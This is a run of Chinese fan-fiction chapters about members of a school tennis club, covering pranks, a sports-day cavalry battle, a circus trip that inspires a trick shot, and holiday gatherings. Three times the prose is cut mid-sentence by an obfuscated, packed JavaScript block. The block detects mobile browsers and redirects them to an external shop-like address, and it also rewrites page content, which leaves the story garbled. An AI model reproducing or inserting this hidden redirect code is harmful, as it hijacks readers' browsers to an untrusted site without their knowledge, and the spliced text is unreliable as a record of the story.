“秘密,所以别问。”对方讳莫如深道,但这答案反而更让人好奇了吧?仁王挑眉,虽然他躲在屋顶的目的是为了待在无人的地方享受清闲时光,此刻却并不反感地瞧着文太毫不客气地坐在和他同一条长椅上,二人之中间隔了半个人的距离。 “最重要的是,我肚子好饿啊……” “你每次运动完都这么说。” 仁王露出“又来了”的表情,因为文太这家伙十次部活后有八次都要这么喊,剩下两次是被应援的女孩们送了点心。来者不拒说的就是这种人吧,陌生人送的东西都敢毫无防备地照单全收。 “这次不一样啊,我都被洗劫一空了!”丸井文太一松懈就忍不住大声抱怨,说是柳莲二他们借物跑的时候把他身上所有零食都收走了,又因为他觉得自己今天太倒霉,已经没心情追去索要回来,走到福利社才发现身上零用钱也没带够,现在是十分难得的连一个口香糖都没有的状态。 仁王雅治不愧是性格恶劣的促狭人物,闻言反而扑哧一声乐了起来,得到丸井文太的怒目而视。 大意了,就知道不该把倒霉事告诉这种家伙,反而会遭到无情嘲笑啊! “好啦好啦,真是可怜呐。” 仁王见他的表情太过恼火,稍微苏醒了些为数不多的良心,用没什么诚意的语气改口哄了他一句。奈何文太听了却一点也不觉得安慰,仍是用不高兴的眼神斜睨着他,目光锐利,好像用视线在说他可不是那么好敷衍的对象,瞳孔的艳丽色彩在太阳光的照射下灿然生辉。 那该怎么办好呢? “你的口香糖没有了是吧?喏,那这个给你。” 仁王将手中的一条口香糖递给文太,果然瞧见对方的脸色当即转嗔为喜,喜滋滋地伸手去拿。 “哦哦,不错嘛仁王,看来你这种人终于也稍微懂得为人处世了……”说着嘴上还不忘损他一句。 只是这句话的尾音还未落下,一个夹住手指的整人机关跟着那片即将被抽出的口香糖一起弹出,随着“咔哒”的机械弹响,丸井文太疼得嘴唇一抖,整张脸微微皱起,反射性地甩手丢开那个假的口香糖。 “好痛!这是什么东西啊?!” 仁王雅治没有把眼神分给那个被丢开的道具,而是在丸井文太的注视下露出一个惊讶神情。 “啊,不好意思,不小心拿错了。”他说,然后手伸进运动服的口袋里掏了掏,又拿出一条口香糖,“这个才是真的。” 丸井文太瞪了他一眼,不疑有他地伸出手去接。 “真是的,你能不能别随身携带那种可疑的东西啊,搞错的话多危险……啊痛!” 二人同时低头看向丸井文太又一次被机关夹住的手指。 “仁王同学……?” 听着那透出危险的轻柔呼唤,仁王雅治感受到山雨欲来的气息,慢腾腾地抬起双手:“如果我说我这回真的是不小心拿错了,你信吗?” “你……应该不是骗人的吧?”丸井文太面带怀疑。 “当然,我保证。” 仁王再度从口袋里拿出一条口香糖,诚恳阐明他只制作了两个整人玩具,这回一定是真品,而文太这回也终于认真地观察了一下那东西的外形,和他平时常吃的那种没什么区别,于是十分放心地伸出手来。 ——咔哒。 然后再一次被整人道具夹住。 说实话,连仁王雅治也很佩服丸井文太每一次都敢于主动伸手的勇气,换位思考一下,要是他被人这么恶作剧,肯定第二次就不会再伸手了。就算是仁王自己再喜欢的东西也是一样,他只会打算靠自己去亲手得到。 “啊啊啊你这个骗子——!” 在丸井文太要抓狂前,仁王雅治赶紧把真正的口香糖给他。虽然又一次遭到不信任的眼神反复拷问,但丸井文太最终还是选择了接过,并在把口香糖塞进嘴里之后就露出一种前嫌尽释的放松表情。 “唉,果然还是这个让人安心。” 他惬意地吹出一个青绿色的泡泡,青苹果的甜味微弱地弥漫于空气,脸颊在呼气时鼓了起来。 仁王看得有趣,忍不住伸手戳了戳他的脸,很快被文太一巴掌拍掉,因为嫌弃仁王的动作干扰他维持泡泡里的空气量,那样很容易把泡泡吹破。 然而对方的手很快又不甘寂寞地攀附上来,好像故意要让他烦恼一样,故意拉扯他脸颊上那个医用敷料的边缘。 “你好烦呐……”文太抱怨一声,但是仍旧没有发火,觉得伤口不疼,便闭上眼睛不理睬他了。 “piyo。”仁王回道。 脾气真好呐,这家伙。 他饶有兴致地凝视着对方阖目时便显得尤为精致如画的宁静侧脸,好奇究竟是什么样的家庭才能培养出丸井文太这样动静皆宜、人情练达的性格。 敢于把信赖交付于人,又具备承担后果的爽快,对自己想要的东西怀有永不放弃的贪欲,而且就算生气也不会随意把怒火向他人宣泄,有着难以估量的豁达胸怀。 网球部中能把算计人心的技巧用在比赛中的人物不多,仁王雅治也是看在丸井文太善于运用进退自如的截击将对手玩弄于掌心才对他稍微另眼相待,想着聪明人之间应该更有共鸣,然而稍微与对方相处一下便能发现,双方的思维深处存在某种截然不同的运转逻辑,就跟他们一个热衷于置身人群、一个偏好避开人群的选择一样,如同水与火永远不能相容。 可也正因如此,事情才变得更为有趣。 仁王很喜欢幸村精心打理的这个屋顶庭园,空气清香,夏季有绿植庇荫,冬季也很适合找个避风的方向晒晒太阳。他逃课的时候经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797653|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常在这里待着,眼睛一睁一闭,便能独自度过一个舒心的下午。 直到提醒他该去参加部活的下课铃声响起,他就悄悄离开,这样通常会与上来天台打理花草的幸村恰好错开,不过就算偶尔遇上对方,了解他秉性和课堂成绩的幸村也不会干涉什么。那位理性至上的小部长一贯对部员们秉持抓大放小的管理方针,对该做的事情有着非常明确的优先顺序,仁王非常欣赏他在待人如沐春风的同时也能够施行令人信服的御下之策。 毕竟仁王雅治习惯了我行我素,哪怕在热闹非凡的体育祭也是如此。 丸井文太和他是截然相反的行动模式,所以在这种忙碌的活动期间独自出现在天台才惹人惊讶。 好在丸井文太是很擅长与不同人相处的性情,面对性格各异的友人,能够自然细腻地调整自己跟对方的相处模式。 在他们有一搭没一搭随口闲聊的期间,楼下的运动场隐隐约约传来学生们呐喊助威和庆贺胜利的欢呼,楼上的庭园微风徐徐,吹过仁王耳旁的银白发丝。 尽管在侧重的领域跟网球部的参谋柳莲二有些区别,但仁王雅治也时常会有意识地观察和分析旁人,人有聪明与不聪明之分,有言行一致和表里不一的区别,还有虚情假意和真心待人的差异。 像是同社团的真田和杰克都是特别坦率和老实的类型,仁王一眼就能看到底。 柳生看似完美端庄,实则不太老实又不愿意承认,仁王逗起他来就特别起劲。 柳是聪明通透又文雅感性的君子,这种人不易动怒,但生起气来后果却十分严重,所以开玩笑的时候需要注意分寸。 幸村的话,他温柔又能理智地与人维持恰当的距离感,聪慧却也不失孩子气,坚韧好强的同时还目的明确,从某种程度来说,完全就是理想型,从外到里都毫无死角。 至于丸井,就是那种与任何人的距离感都若即若离得十分微妙,完全仗着通情达理的天赋过分随心所欲,真情相待的范围慷慨得失去边界,反而处处体现不出专注的随性人物。 要说这种人招惹起来最好脾气是不假,不过对方也随时具备旺盛的反击动力,有时候实在很难说到底是谁把谁当成玩具。 就像这次,丸井文太的反击来得很快。 因为骑马战即将举行,他便准备离开天台回去参赛。仁王没有起身的打算,仍是待在原位置不动,文太临走前随意地回头问他一句要不要去现场,被仁王用楼顶也可以观战的理由果断回绝。 “好吧,那要好好欣赏我的天才表现哦。”对方没有强求,背过身摆了摆手。 那句话其实用心险恶,因为当仁王雅治依言走到隔壁楼的边缘,准备认真旁观那场红组vs白组的大决斗,丸井文太在赛前却忽然故意抬起头来,冲着他所在的方向招摇地挥了挥手,引来他身旁作为红组领袖的真田弦一郎也随之将视线投向楼顶,并看见了仁王雅治的身影。 仁王:“……” 完了,他翘掉体育祭这件事被最重视风纪的人发现了。 就算隔着很远的距离,仁王雅治都能想象出丸井文太那家伙笑得有多幸灾乐祸。 32.File 31 天赋 “呵,真田,看来你是很有自信啊。但优胜我志在必得。” “哼,幸村,你休想如意。” 不要误会,这看似网球部正副部长同室操戈的对话实际上发生于立海体育祭的骑马战赛场。幸村精市是白组,而真田弦一郎是红组,二人作为各自一方的领袖,正在队伍前方例行问候,状似平静的寒暄中暗藏无数刀光剑影。 不仅是其他同学,就连柳莲二也为那二人对峙期间愈加剑拔弩张的气氛而额角渗汗的时候,却见红组那边的丸井文太忽然眨起单眼,将剪刀手比在脸旁,露出可爱的笑容说:“既然是对手那就没办法了,我们都各自全力以赴吧,4946(指教请多)!” 随着他那句话的尾音落下,剑拔弩张的氛围一缓,取而代之的是两方的视线都从对方大将转移到了对面全体成员身上。 裁判举起手臂,紧接着哨声响彻天际,两边学生便如古战场上交战的军队般气势汹汹地扑向对面。 骑马战——顾名思义便是骑兵对战。由两个人作为马来扛起担任骑兵的第三人,然后不同队伍的骑兵互相争夺对方绑在额头的头带,失去头带的骑兵会直接淘汰,落在地面也会淘汰,直到其中一组骑兵被全员淘汰,剩下的一组便为胜者。 “加把劲儿啊,杰克!” 丸井文太侧身躲过一个白组同学伸向自己额头的手指,嘴角扬起跃跃欲试的兴奋笑容,趁机借着低头的动作撞向前方那人的腹部,接着左手在对方身形不稳时抓走头带,右手又拦住另一人偷袭自己的手臂,以牙还牙地反击回去。如此左推右挡,身形闪转腾挪得十分灵活,也把底下扛着他四处移动的杰克和另一个同学指挥得满头大汗。 这样的红白混战或许该被称作是大乱斗才更准确,随着身手太弱的杂兵被逐步削减,场上逐渐只剩下丸井文太所熟悉的脸孔。这反而更激起他的斗志,毕竟他最喜欢的地方就是能以最快速度与强敌短兵相接的前线。 紫色瞳孔在疾风中对上了一双温柔却强势的蓝紫色眼睛。 这个身位就算是神仙也无路可逃。丸井文太下意识地作出判断,心脏急跳,紧张得屏住呼吸,却毫不犹豫地向他伸出手掌,眸中闪动着明锐的求胜意志—— “文太,你的动作太差了。” 幸村精市眸色微动,跃然攀上睫羽的笑意便好似冰上生花,脸孔浮现出美丽而又锐利的凛然神采。 对方在丸井文太目瞪口呆的注视中搭过他的肩膀并优雅地腾空翻身,却没有因此落地,而是在最佳辅助柳莲二及时的预判补位下更换了担任马的搭档。一阵凉风拂过文太的红发,他下意识地抬手拨开挡住视野的凌乱发丝,这才发现自己的头带也已经在方才被一波夺走了。 结果那场骑马战自然以幸村带领白组大获全胜告终。 唉,果然还是赢不过幸村君啊。 丸井文太并不意外地心想。随后他双手叉腰,无奈瞥了一眼不远处正跪地懊悔的真田和试图安慰他的杰克,自己倒是心态很好地将一粒口香糖扔进嘴里,接着吹了个泡泡出来。 “不过呢,我偶尔也会不甘心啊,难道就没有什么地方能胜过幸村君了吗——”他在傍晚训练期间忍不住抱头懊恼。 柳莲二不小心听见了丸井文太这句小声嘀咕,脱口而出:“其实是有的。” “咦,真的?”文太一愣,懵懂抬头,眼睛睁圆,居然反倒是他这个提问的人露出不可思议的神情。 无所不知的参谋见此忍不住微微一笑:“呵呵,这个啊……” 他想起上次自己和文太的班级一起上家政课的经历,对方在料理领域的娴熟给柳莲二留有深刻的印象,大概只用了他人三分之一的时间就能完成多种食材的处理工作,对调味和材料用量的把握有着天生精准的直觉,而且热衷于钻研,敢于在老师教授的食谱之外自己挑战更多料理。 上次就在铜锣烧的课堂上,丸井文太就做了鲷鱼烧,虽然都是红豆沙和面粉鸡蛋等食材制作的点心,却能在一次课时中同时完成两种能被大家称赞美味的料理。 柳莲二还记得当时自己正在用电子秤小心翼翼地给面团加牛奶,丸井文太正好捧着他的面糊去料理台。 “哇——你怎么跟做化学实验一样!有必要那么如临大敌吗?”他路过的时候探头过来瞧了一眼,热心地接过水杯帮忙搅拌。但文太可能自己没有注意到,他虽然根本没看那个电子秤,柳莲二却发现文太随手添加的分量基本就和自己悉心计算的最佳配比没有差距。 结论就是柳莲二需要精确计算才能得出的结果,对方似乎是仅靠天生的直觉就能做到。 而且他在那时也依旧戴着网球部要求的负重护腕,经过一段时间的适应,已经完全不会影响他日常制作料理了……分明前阵子还能偶尔听见他抱怨说戴着负重做饭手臂很酸。 与丸井文太成为鲜明对比的就是他所崇拜的部长幸村精市了,虽然没有跟其他人说过,但柳莲二上学期曾帮幸村一起钻研制作玉子烧,期间耗时整整六个小时。 尽管柳莲二自己也时常因为过于苛求数据精确导致进度缓慢,可据他估算,要是丸井文太从头开始学习这种难度的料理,从研究到上手大概只需要一到两次的尝试,总体耗时不会超过半小时。 这就是料理黑洞和料理天才的区别。 不过迎着文太好奇的眼神,柳也不好意思那么轻易就把幸村的小小弱点和盘托出。他干咳一声掩去唇边笑意,避重就轻说:“运动领域目前概率较低,你可以在其他方面多努力。” 丸井文太的肩膀一下子就垮了下来,不满地撅起嘴道:“学习成绩吗喂,别开我玩笑了,我又不是你跟柳生……” 他的期中测试成绩大体上没什么问题,只是生性爱玩,对学习的兴趣自然远不如网球高,这么随意一想,还是耸了耸肩然后扛起球拍继续去打球了。 柳莲二担任他的练习对手,在练习赛期间特意观察了丸井文太的击球,作为习惯在前场使用截击的选手,对方在比赛期间需要比位于后场的选手更快做出应对,反应机敏和进取果断向来是丸井文太的优点,也是他最大的进攻武器,只不过柳莲二这回看得更深,他发现丸井文太在戴着负重护腕的前提下也能够实现极其精准的控球。 截击的击球方式与普通的回球存在一定差别,最核心的要领在于拍网碰到网球的时候不能大幅度挥臂,以免动作过慢耽误截球时机,而应该是以短促的“碰”和“推”实现击球,同时拍面需要稍微调整角度,向前推碰球的时候略加切削,以此控制球的方向。 由于引拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802132|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅度极小,截击的控球比普通回球更加困难,力度、角度以及落点都取决于拍网击中网球的一瞬爆发作用,很多人在使用截击的时候会失去对球的控制力,导致回球太弱、出界等问题,但丸井文太一直都能把技巧拿捏得很好,随心所欲地使用截击操纵回球,仅凭直觉就能精准灵活地调整手腕、臂膀的使用方式,细腻地处理他经手的每一球,已经能达到如臂使指的水准。 这和丸井文太在制作料理时展现出的微操控制能力同出一源,是难能可贵的天赋。 关键在于,他该如何进一步开发这份才能。柳莲二心想。 而契机也很快降临。 十一月底,学校开展国中学生的校外学习活动,丸井文太在志愿地点的调查单上勾选了马戏团,于是活动日当天,他在校车上遇见了仁王雅治。 “哟,巧遇啊。”文太发现仁王刚上车正要找位置,百忙之中腾出嘴打了声招呼,并抬起手晃了晃。 “你还是一如既往吃很多呐。”对方走过来一瞧,看见文太摆在腿上的书包里塞满了零食,脸上浮现出无语的表情。 话虽如此,仁王雅治见他身旁的位置还空着,便直接坐了下来。 “少啰嗦。”文太嘟嘟囔囔地咬了一大口面包,鼓起来的腮帮因为忙于咀嚼,说话都口齿不清了。 “杰克呢?他不是一直跟你在一起吗?”仁王问。 “他的校外学习选了游乐园,好像跟真田是一起的。”丸井文太说。 “想不到那两个人意外地有童心……” 立海冬季的校外学习基本上是让学生到校外开展实践体验的活动,说直白点其实就是同学们一起出去玩,和夏季出游的林间学舍的区别在于一个是社会活动,一个是野外活动,但本质都是让孩子们增长阅历的见习,包括秋季的海外研学活动也是如此,只不过海外研学费用较高,每年可去的国家也各不相同,学生可以自主选择是否参加。 “哈哈,所以柳生呢?他不是也总跟你一起玩吗?” “他去了购物中心。” “哦——我知道幸村君也选了那里!” “柳也去了吧,你这家伙只会关注幸村啊。” 文太闻言嘿嘿一笑,对仁王这句吐槽倒是未作辩驳,随后自然地换了个话题聊。他们是网球部的队友,上学日的每天固定晨训和下课后的部活,再加上偶尔的午间自主练习和周末的练习赛,实际上朝夕见面的时间比跟班里同学相处的时间还长,平时的共同话题也更多一些。 仁王有一搭没一搭地接着文太的话语,因为他昨晚睡得很晚,随着巴士开动,车辆在行进中摇晃,他脑袋不禁慢慢地一点点靠上椅背,睫毛微微垂下,露出一点倦色。 丸井文太似乎是察觉到这点,便逐渐安静下来,将注意力放在自己的点心上面。他吃东西的教养很好,基本不会发出太大声音,也不会弄得碎屑到处都是,在自我管理方面其实很稳重,是不需要让大人们多操心照顾的类型。 在仁王懒洋洋的注视下,车窗外的滨海风景加速向后倒退,逐渐变得明亮的光线将对方脸庞上如婴儿般柔软的绒毛都照得细腻清晰。早已习惯于被注视的人非常自我中心地在那片澄净光色中眨了眨眼睛,清澈的紫色瞳孔被阳光吻出半透明的甜美色泽。 33.File 32 网渡 初冬的阳光没有夏季那么炽烈,轻薄柔暖的日光带着令人舒适的温度,让仁王雅治在不知不觉中沉睡了过去。 他这回笼觉大概睡了一个小时,后来是停车的时候被其他座位的同学叫醒的。 至于丸井文太?他也不知在什么时候睡了过去。当仁王睁眼的时候,文太也正迷迷糊糊地揉眼睛,而后慢吞吞打了个呵欠,站了起来。这时仁王才发现他包里的零食居然已经差不多吃光了,真是可怕的家伙。 马戏团的校外学习其实就是观看一场表演,加上演出后的幕后参观。学校已经事先帮大家都买好了指定座席的观众票,位置相当靠前。两手插兜的仁王跟双手搭在脑后的文太随意找了个马戏团预留的位置一起坐下,因为看表演的时候再吃东西不礼貌,所以文太只丢了一粒口香糖到嘴里咀嚼甜味。 观众席的灯光暗下,舞台上轮番上演精彩纷呈的马戏表演。 文太非常捧场,每逢魔术或杂技表演到险象环生的情节就紧张万分,仁王发现他尤其偏爱那些技巧高超的特技环节,而仁王自己倒是对演员各种障眼戏法的原理颇感兴趣,后来去后台参观时,他还跟马戏团的小丑演员聊了天,又参观了他们的化妆室,观摩专业人士的变装手艺。 “不过话说回来,我看有些参演的人,外表看起来好像也没比我们大几岁的样子。”丸井文太吹了个泡泡,露出不可思议的表情,“说是因为父母在马戏团工作,所以他们从小也开始学习这样表演,也太刻苦了。” “这很常见吧。”仁王说,“不管是做什么,子承父业都是比较容易的捷径。” “咦,算是捷径吗?” “家里能提供更多帮助。柳生他家就是世家,祖父是院长,父亲是医生,他以后要是读立海大学的医学院,未来去继承自家医院就很容易吧。” “嗯……我家是制造企业的职员来着,可我对那个不是很感兴趣。仁王呢?” “我父亲是建筑公司的职员。”仁王说,“但我还没想那么远的事……其实都行吧,你想做什么就做什么。你现在对什么感兴趣?” “网球吧,还有做点心。” “是认真到想要钻研一辈子的程度吗?” 丸井文太愣了一下,回头时视线撞进仁王雅治冷绿色的平静眼睛。 然而在那一瞬间,他脑海里闪过的其实是上月他在法网赛场上窥见的,幸村君看向红土球场时野心勃勃的眼神。要说钻研一辈子,恐怕就需要那种程度的专注和执着吧。 文太的瞳孔微弱颤动了一下,怀着自己也无法理解的心情,他咬了一下嘴唇,没办法回答这个问题。 “piyo,开玩笑的。”仁王看了他一会儿,那带痣的唇角弯了起来,漫不经心地说,“你的话,我觉得像是做那种心理咨询师,或者偶像歌手,都蛮合适哦。” 毕竟脸好看,性格的亲和力很高,为人又周到细腻,要想受欢迎实在非常容易。 “哈?那也太夸张了,说得像是电视剧里的人物似的……” 倒是丸井文太自己对此极其不以为然,咂了一下舌,随意摆了摆手。 仁王雅治见状笑了一下:“是哟,没必要过早考虑那些太大人的事情。你想做什么夸张的事情,尽管任性地去做也没什么不好,就像刚才马戏表演中你喜欢的那个特技演员一样。现在的我们……只需要考虑酷不酷,有不有趣就足够了。” 仁王雅治那家伙随心所欲的言论虽多,但有时候他的观点却意外能切中丸井文太的性格。 这个念头闪过脑海的时候他正跟真田打一场练习赛,对方帽檐下的目光锐利如刀,在那出手一瞬,文太甚至在视觉上无法捕捉他挥拍的轨迹,只能听闻一声尖锐的呼啸将空气撕裂。 “其疾如风。” 真田的攻击来势汹汹,好在他也与对方交手多次,对此早有经验。丸井文太的红发在奔跑中跃动起来,当网球的残影掠过球网,他早已完成预判抵达落点。 就当网球即将触地那千钧一发之际,文太沉下球拍,手腕急升,随着球落拍到,与网球剧烈摩擦的拍面刻不容缓地赋予来球一道凌厉旋转,正是以半截击打出他拿手的凌空抽球! 一道金色的轨迹在空中滑出完美的弧线,精准地直击底线。 真田的目光依旧沉着稳定,在下一刻他移至中场,反手拦截这一低位回击。 球拍如拂过林间的微风一般轻柔一削,身为截击专家的文太自然能够看出他这举重若轻的一手有多精妙,自己全力抽击的网球被一举卸去所有力道,轻飘飘地越过球网。 “其徐如林。” 场外观战的其他部员几乎同时发出一片抽气声,那一记短球处理得太过完美,几乎宣判了眼前一分的终结。 “可恶!” 眼见网球即将落地,丸井文太的红发因冲刺而骤然飞扬,他露出吃力的表情,步伐踉跄,身体前倾得几乎失去平衡,伸出的球拍看上去只能勉强够到即将落地的网球。 这样的姿势就算能回球也是破绽百出,真田持拍的手心收紧又放松,心中已下定论。 但就在这一刹那,文太眼底骤然掠过一丝狡猾的光芒。 他手中球拍与网球接触的瞬间,发出的是细腻到几乎听不见的摩擦声。那不是勉为其难的救球,而是精妙到毫颠的微操。网球在触网瞬间轻轻弹向半空,精准地跃上球网顶端,并开始了一段惊心动魄的旅程—— 网球在纤细的球网上滚动,像马戏团里最出色的杂技演员行走在钢丝上。阳光为这颗黄绿色的小球勾勒出耀眼的金边,全场寂静得只能听见它沿着球网滚动的细微声响。 如此径自走了十厘米,二十厘米……附近观众的呼吸仿佛要停止了,只觉时间在这惊险万分的画面中被无限拉长。 连真田素来平静的脸庞上也浮现出罕见的错愕神情。 他眼睁睁目睹那颗网球在球网上滚动了一段不可思议的距离,最终听话地坠向自己一方的场地。 砰! 这一球的落地声分外轻巧,可对于球网两端的比赛选手来说,却仿佛是一球颠跳在心口,砸得胸腔里都是闷响。 “妙计,走钢丝。” 刘海投下的阴影拂过眉端,这一刻丸井文太瞥来的眼神中有凛冽至极、盛气凌人的锐气,然后波澜万丈地被隐没在深邃的瞳心。 那认真表情仅如昙花一现,很快又有阳光明快的可爱笑容浮现于丸井文太的脸庞,他轻松地歪头眨了一下眼睛,吹出一个口香糖泡泡,自信十足地问:“如何?很天才吧。” 此刻连被誉为球场皇帝的真田也不能否定他,一抹极淡的赞赏难以抑制地掠过眼底。 这一球的精彩不仅体现在丸井文太击球技巧精妙、观赏性极佳,也因为“走钢丝”是一个绝不可能被破解的必胜技。 由于网球始终贴在球网滑动,对手要想击球,球拍必然触碰到球网,然而球拍触网是违反比赛规则的行为,所以他没有任何办法救得这分,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806787|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能眼睁睁地坐视网球自然落地。 而且仅受重力势能的牵引垂直落地的网球,二次弹跳的角度也不会发生变化,网球始终紧贴球网,不存在任何可乘之机。 灵光乍现的创意,精细无比的技巧,这是丸井文太自创的独门绝技,灵感来自于那次在马戏团的观演经历。他后来经过了一段时间的练习才实现此招,因为平日对手腕的控制就特别精细,只要正确击出过一次,往后就能轻而易举地多次再现。 唯一的问题就在于,当来球力道过大的时候,由于腕力还存在不足,丸井文太目前无法像是真田的徐如林一样从容自如地实现完全卸力,所以遇到那种情况就打不出走钢丝。好在他平时更多在双打比赛中出阵,需要防守的球可以交给杰克来回,自己只需要正确地抓住进攻时机。 没错,就是这样。 他扛着球拍,抬起头,手指拨了拨近日疏于打理所以长了许多的头发,凝望向远处的眼睛微微眯起。 能够精彩比赛,能够取胜,能够用他喜欢的方式打网球,这就是现在的他应该考虑的事。 在丸井文太视野的尽头,神奈川特产的黑鸢始终振翅盘旋于天际。立海校园里的梧桐树已经渐次凋零,随着隆冬降临,草木萧疏,万物蛰居简出,平日越来越常见到它们四处飞翔觅食的身影。这一年度的最后一个月又是考试,期末考试结束就开始放寒假,转眼年关将至,不过立海网球部的训练从来都是寒暑不辍,怀着这份努力终将开花结果的梦想,所有人都在日复一日的练习中不断打磨精进自己的球技。 时间在不知不觉中走到圣诞节那一天,部长幸村发起号召,他们这些关系亲近的校队一年生纷纷到副部长真田的家里做客小聚。真田家是很传统的和式宅院,不过他爷爷看起来严肃古板,实际上却意外地好说话。文太大着胆子借用了厨房,做出一个足有三层的圣诞蛋糕,还分给那位爷爷和真田的哥嫂和侄子各一份。后来所有年轻人凑在一起玩了抽鬼牌,城府最浅的真田惨遭七连败,一张英俊脸庞被大家轮番用墨汁涂得奇形怪状,遭到他侄子的无情嘲笑。 那天柳莲二倒是出人意料地被发现在某些方面不太中用,丸井文太随口让他帮忙煮奶茶,他居然直接把茶叶倒进牛奶里,然后放进微波炉加热,结果加热后大量茶叶像是死掉的蜘蛛一样密密麻麻爬满杯子外面,加上添加过不明配料的牛奶也色泽古怪,看得其他人纷纷面露迟疑,总觉得那杯东西充满了来路不明的怨气。尤其是丸井文太,脑海里隐约浮现出什么不太好的回忆,特别坚决地禁止对方再碰任何饮品。 那阵子正好是寒潮来袭,天寒地冻,冷得人呼出的气都凝成了白雾。仁王玩完游戏立刻就缩进被炉,整个人就像是冬眠了一样一动不动,直到真田家里人端来寿喜锅给大家吃才闻着味儿爬起来,并很有先见之明地抢到幸村旁边的座位,在随后众人挥筷夺食的混战中,占据了一片无人敢来争抢的风水宝地。 等到新年那一天早上,文太跟父母带着两个弟弟一起去江之岛的神社做初诣参拜。他和弟弟们都穿着和服,从高到低三个模样相仿的红发男孩在净手漱口后按顺序到神像面前投香钱许愿,摇动五彩绳的垂铃之后鞠躬合掌拍手再鞠躬,满脸认真地闭上眼睛念念有词。 “希望今年也诸事顺利,能吃好多好多美味点心。” 弟弟们的愿望简单又单纯,而哥哥的心愿其实更多。不过丸井文太想着,他真正的愿望还是应该由自己亲手来实现,于是便保留不说了。 34.File 33 桃花 待新年过了一周,寒假结束,而在接下来的冬学期中,最为学生们关注的就是2月14日的情人节。 这天是丸井文太最喜欢的日子,至于理由也是不言自明,早上他跟杰克一起上学走到教学楼下,刚打开鞋柜,里面塞得满满当当的巧克力顿时从柜子当中溢了出来。 杰克瞧得脑门冒汗,那画面真的只能用“溢出”才能形容,随着一阵哗啦啦的响声,倾倒出来的巧克力盒子像小山一样在丸井文太脚边堆了起来,而且不少看起来不像是简单的义理巧克力,缎带上还扎着疑似情书的精致信件。 “还是一如既往的壮观啊……” 他感慨地说,要是换成杰克刚认识文太的那一年,他的反应还会更吃惊些。 早在小学的时候,情人节就等同是丸井文太的巧克力丰收节。毕竟谁能拒绝这个爱撒娇的家伙对巧克力的渴望呢?哪怕是义理巧克力,班上的女生们都不会忘记专门为他准备一份,更别提真正对他心存好感的人了。 更何况,无论对他怀有什么情愫,都能够没有负担地把那份代表心意的巧克力送出去,而且一定会被美味地吃掉,简直是绝无后顾之忧。 与此成为鲜明对比的是—— 杰克打开自己的鞋柜,微不可察地叹了口气,换上室内鞋。 文太把整理好的巧克力都塞进网球包里,见状探头过来,用天真无邪的语气道:“杰克也还是一如既往的没有女人缘啊。” “你就别打击我了……” “哈哈。”丸井文太笑着瞄了杰克一眼,伸手从球包的侧袋里掏了掏,拿出一份包装好的巧克力,用边角轻轻敲了敲发小垂下的肩膀,“好啦,不要失落!我做的巧克力给你!这样今年的收获数就破零了吧,开心点。” “哦,谢谢啊。”杰克一边感激地接过,一边还是没忍住小声吐槽了一句:“不过情人节只收到男人的巧克力也是挺……” 文太闻言佯怒:“什么啊,嫌弃的话我就自己吃掉了!” 他作势要抢回巧克力,杰克连忙跟他道歉,这才让文太勉勉强强露出满意表情。 “别忘了要给我回礼哦!”他伸出食指强调。 回礼啊……杰克用手指抵着下颌,做出思考的表情:“下个月吗,让我想想……” “今天就回礼我也不介意。”丸井文太嘿嘿一笑,单眼眨出一个明媚的wink,活泼说,“我们去吃蛋糕自助餐吧,你请客。” 杰克呛了一下:“结果还是这个啊?!” “那是当然的啊。”文太不但表情理直气壮,甚至还双手叉腰振振有词,“别以为我忘记了,今天也是杰克发零用钱的日子吧?作为庆祝也可以,我们去大吃一顿。” 这家伙毫不客气就把别人零用钱据为己有的底气到底是从哪里来的啊。 杰克压根没意识到谜底就在谜面上,满脸无奈地叹了口气:“唉,真拿你没办法……” 二人说说笑笑地离开鞋柜,没有人注意到,就在柜子另外一侧,有个倾听已久的人正静静地凝视着丸井文太逐渐走远的背影。 和弥漫着粉红色的节日空气的教学楼相比,全员男生的网球部倒还是一如往常地弥漫着不容松懈的气氛。丸井文太飞快把制服换成运动服,外套的拉链一口气拉到顶端,却仍被紧贴皮肤的冰凉衣料冻得打了个哆嗦。 为了让身体尽快热起来,他连从部室到网球场一小段路都是小跑,两手缩进偏长的衣袖里,立起的衣领挡住迎面而来的刺骨寒风,露出的眼睛也半隐半现在偏长的刘海下方,滨海地区的气候在这个季节最是无情,几秒钟内他整个红毛脑袋就被吹得乱七八糟。 唔……有点烦人。 文太忍不住抬起手扒拉了几下,却仍是有几撮不听话的发丝凌乱翘起。 他到球场发现还有个人也有同样的烦恼,而且对方还十分严谨地计算出了数据。 